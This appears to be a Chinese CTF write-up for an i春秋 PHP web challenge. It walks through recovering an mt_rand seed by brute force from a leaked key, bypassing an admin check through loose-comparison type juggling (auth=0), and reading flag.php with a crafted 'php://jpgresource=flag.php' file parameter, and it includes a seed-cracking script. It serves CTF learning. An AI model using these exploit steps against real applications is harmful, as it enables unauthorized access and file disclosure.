题目地址:http://a3ff80f015a34b59b1b70ab78271dcbbdad8b6e64cce4591.game.ichunqiu.com/
题目界面:
题目打开只有一个key,刷新一次,改变一次,抓包也看不出什么名堂。扫描一波备份/文件泄露,发现存在文件:
- robots.txt
- index.php
- file.php
- flag.php
- admin.php
访问robots.txt可以得到一个code.zip压缩包,里面的经过了phpjiami加密。
解密: phith0n大佬做的一个phpjiami解密的docker镜像:https://hub.docker.com/r/vulhub/php-decrypt-eval/
解密之后得到源码:
index.php代码:
<?php
$seed = rand(0,99999);
mt_srand($seed);
session_start();
function auth_code($length = 12, $special = true)
{
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ($special) {
$chars .= '!@#$%^&*()';
}
$password = '';
for ($i = 0; $i < $length; $i++) {
$password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $password;
}
$key = auth_code(16, false);
echo "The key is :" . $key . "<br>";
$private = auth_code(10, false);
if(isset($_POST['private'])){
if($_POST['private'] === $_SESSION["pri"]){
header("Location:admin.php");
}else{
$_SESSION["pri"] = $private;
die("No private!");
}
}
?>
这里的考点是:mt_rand()产生随机数时,使用同一个种子,可以预测多次产生的随机数值。
代码流程:
首先产生一个16位的随机数,再产生一个10位的随机数并写入到session,然后需要post一个相等的10位随机数就可以进入下一层,即admin.php
所以解决办法就是先爆破通过16位的随机数爆破出种子,再通过种子生成一个10位的随机数,post进去即可。
爆破脚本如下:
<?php
function auth_code($length = 12, $special = true)
{
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ($special) {
$chars .= '!@#$%^&*()';
}
$password = '';
for ($i = 0; $i < $length; $i++) {
$password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $password;
}
for ($seed = 0; $seed < 100000; $seed++) {
mt_srand($seed);
$key = auth_code(16, false);
if($key == 'E5pepPzORiDnyuws')#key值自行修改
{
echo $seed."\n".auth_code(10, false)."\n";
break;
}
}
echo "finish!";
?>
这样就跳到admin.php了,并且得到authAdmin参数的值。
admin.php代码:
<?php
if($_GET['authAdmin']!="***********"){
die("No login!");
}
if(!isset($_POST['auth'])){
die("No Auth");
}else{
$auth = $_POST['auth'];
$auth_code = "**********";
if(json_decode($auth) == $auth_code){
;
}else{
header("Location:index.php");
}
}
?>
这里需要post一个auth参数使得json_decode($auth) == $auth_code即可进入下一层。
这里利用0==”str”的特性,传一个int型的0进去即可,即auth=0.
到了这里输入东西,点击按钮没有反应,查看源代码,发现一段js代码:
<script>
$("#give").click(function() {
filename = $("#filename").val();
$.ajax({
url:'file.php',
type:'post',
data:{'id':filename,'auth':'1234567890x'},
dataType:'text',
success:function(result) {
console.log(result);
},
error:function(XMLHttpRequest, textStatus, errorThrown) {
console.log(XMLHttpRequest);
console.log(textStatus);
console.log(errorThrown);
}
})
})
</script>
file.php代码:
<?php
if($_POST["auth"]=="***********"){
if(isset($_GET["id"]) && (strpos($_GET["id"],'jpg') !== false))
{
$id = $_GET["id"];
preg_match("/^php:\/\/.*resource=([^|]*)/i", trim($id), $matches);
if (isset($matches[1]))
$id = $matches[1];
if (file_exists("./" . $id) == false)
die("file not found");
$img_data = fopen($id,'rb');
$data = fread($img_data,filesize($id));
echo $data;
}else{
echo "file not found";
}
}
?>
所以这里尝试post一个auth=1234567890x,get一个id到file.php。
这里考察点是一个preg_match函数的使用,查询PHP官方文档,得知$matches[1]是将包含第一个捕获子组匹配到的文本,也就是正则表达式中第一个括号匹配到的文本
,也就是这里的([^|]*)匹配到的内容,即匹配除|
以外的任意字符串。所以要求id的值以“php://任意内容resource=要读取的文件
”的格式传入才满足条件。
这里我们要读取flag.php,所以id传入php://jpgresource=flag.php
就可以获取flag。
网友评论